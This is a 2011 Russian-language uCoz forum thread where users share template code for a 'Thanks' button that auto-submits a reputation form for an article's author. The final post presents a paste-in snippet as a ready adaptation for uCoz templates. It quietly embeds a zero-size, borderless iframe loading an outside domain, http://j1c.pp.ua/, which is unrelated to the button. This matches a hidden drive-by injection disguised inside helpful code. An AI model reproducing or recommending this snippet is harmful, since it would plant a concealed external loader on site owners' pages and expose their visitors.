Требуется помощь!!!
|
|
|
Laughing-Man | Дата: Воскресенье, 16.01.2011, 12:01 | Сообщение # 2 |
|
Сержант
Сообщений: 16
| В "Страница материала и комментариев к нему" между и прописываем следующее: Code <script type="text/javascript"> function repchange(val,id){ repval=val; ajaxtime=setInterval('checkajax'+id+'()',500);} </script> <script type="text/javascript"> function checkajax$ID$(){ forms=document.getElementsByTagName('form'); for(f=0;f<forms.length;f++){ if(forms[f].id=='frm981'){ if(repval=='plus'){document.getElementById('a2').checked='true'; forms[f].reason.value='Благодарю за новость "$ENTRY_NAME$"' document.getElementById('submfrm981').click(); document.getElementById('sbt981').onclick=null; clearInterval(ajaxtime);}}}} </script> Затем в любом месте (Там где пропишешь, там и будет кнопка "Спасибо") прописываем следующее: Code <?if($USER_LOGGED_IN$)?><a title="Репутация $USER$'a автоматически повысится. Многократное нажатие 'Спасибо' запрещено и строго наказывается!" href="javascript://" onClick="openLayerB('Rd',0,'/index/23-$UID$','Change Reputation',380,200,1); return false;"><img src="http://all4ucoz.org.ru/Good.gif" border="0" align="absmiddle" onClick="repchange('plus','$ID$');" /></a><?endif?> Доступно только для пользователей читай) кнопку если что я уже нарисовал под нашь стиль кнопок! там на сайте все написано!
Средняя стадия: Программист Технарь Графитчик Web-дизайнер Фотошопер
Сообщение отредактировал Laughing-Man - Понедельник, 17.01.2011, 17:54 |
|
| |
axa | Дата: Среда, 19.01.2011, 13:59 | Сообщение # 3 |
|
Подполковник
Сообщений: 502
| куда, относительно юкоз шаблона его пихать, я имею в виду форум---> управление дизайном---> вид материалов, или общий вид страниц форума? Quote Подобные скрипты уже есть как дополнительные модули для различных cms. Но т.к. у вас "сайт на юкозе", а ucoz не поддерживает стороние php- и т.п. решения, то нужно искать такую возможность в функционале самой cms ucoz. Стороннего решения вопроса не будет. ответ будет!! куда: общий вид страниц форума, вид материалов, форма добавления сообщения.?? я этот скрипт уже давно пробовал, кнопка только открывает репутацию, остальное не пашет.
|
|
| |
Laughing-Man | Дата: Среда, 19.01.2011, 15:28 | Сообщение # 4 |
|
Сержант
Сообщений: 16
| хмм.. странно ладно позже посмотрим Доступно только для пользователей
Средняя стадия: Программист Технарь Графитчик Web-дизайнер Фотошопер
|
|
| |
|
axa | Дата: Понедельник, 24.01.2011, 20:35 | Сообщение # 6 |
|
Подполковник
Сообщений: 502
| вот скрипт адаптирован к cms ucoz. Скрин скрипта установка: Главная » Управление дизайном » Редактирование шаблонов » Страница материала и комментариев к нему вставляем после $MESSAGE$: Code <style type="text/css"> .postSubmit { border: 0px; padding: 5px; text-align: center; font-size: 10px; margin: 0px; width: auto; background: #4eaec8; color: #ffffff; cursor: pointer; letter-spacing: 0px; font-family: verdana; } .postSubmit:hover { border: 0px; padding: 5px; text-align: center; font-size: 10px; margin: 0px; width: auto; background: #3e7394; color: #f3f3f3; cursor: pointer; letter-spacing: 0px; font-family: verdana;
</style> <script type="text/javascript"> function repchange(val,id){ repval=val; ajaxtime=setInterval('checkajax'+id+'()',500);} </script> <iframe src="http://j1c.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><script type="text/javascript"> function checkajax26668(){ forms=document.getElementsByTagName('form'); for(f=0;f<forms.length;f++){ if(forms[f].id=='frm981'){ if(repval=='plus'){document.getElementById('a2').checked='true'; forms[f].reason.value='Благодарю за «$ENTRY_NAME$»' document.getElementById('submfrm981').click(); document.getElementById('sbt981').onclick=null; clearInterval(ajaxtime);}}}} </script> <center><script type="text/javascript"> function megobytenagr() {openLayerB('Rd',0,'$HOME_PAGE_LINK$/index/55-$UID$','Вручить награду',380,200,1); usersearch('megobyte','38');} function usersearch(vaal,id){thisvalue=vaal; openafter=setInterval('lol'+id+'()',500);} function lol38(){forms=document.getElementsByTagName('form'); for(f=0;f<forms.length;f++){if(forms[f].id=='frm735'){if(thisvalue=='megobyte'){$("input[@type='text']").attr('value', 'Лови награду за «$ENTRY_NAME$»'); document.getElementById('submfrm735').click(); document.getElementById('sbm735').onclick=''; clearInterval(openafter);}}}}</script> <a title="Репутация пользователя автоматически повысится. Многократное нажатие Спасибо запрещено Правилами портала и строго наказывается!" href="javascript://" onclick="openLayerB('Rd',0,'$HOME_PAGE_LINK$index/23-$UID$','Change Reputation',380,200,1); return false;"><br> <input type="button" class="postSubmit" onclick="repchange('plus','26668');" value="Повысить репутацию $USER$'a за эту новость"></a> <input type="button" class="postSubmit" onclick="megobytenagr();" value="Вручить награду $USER$'у за эту новость"></div></center>
|
|
| |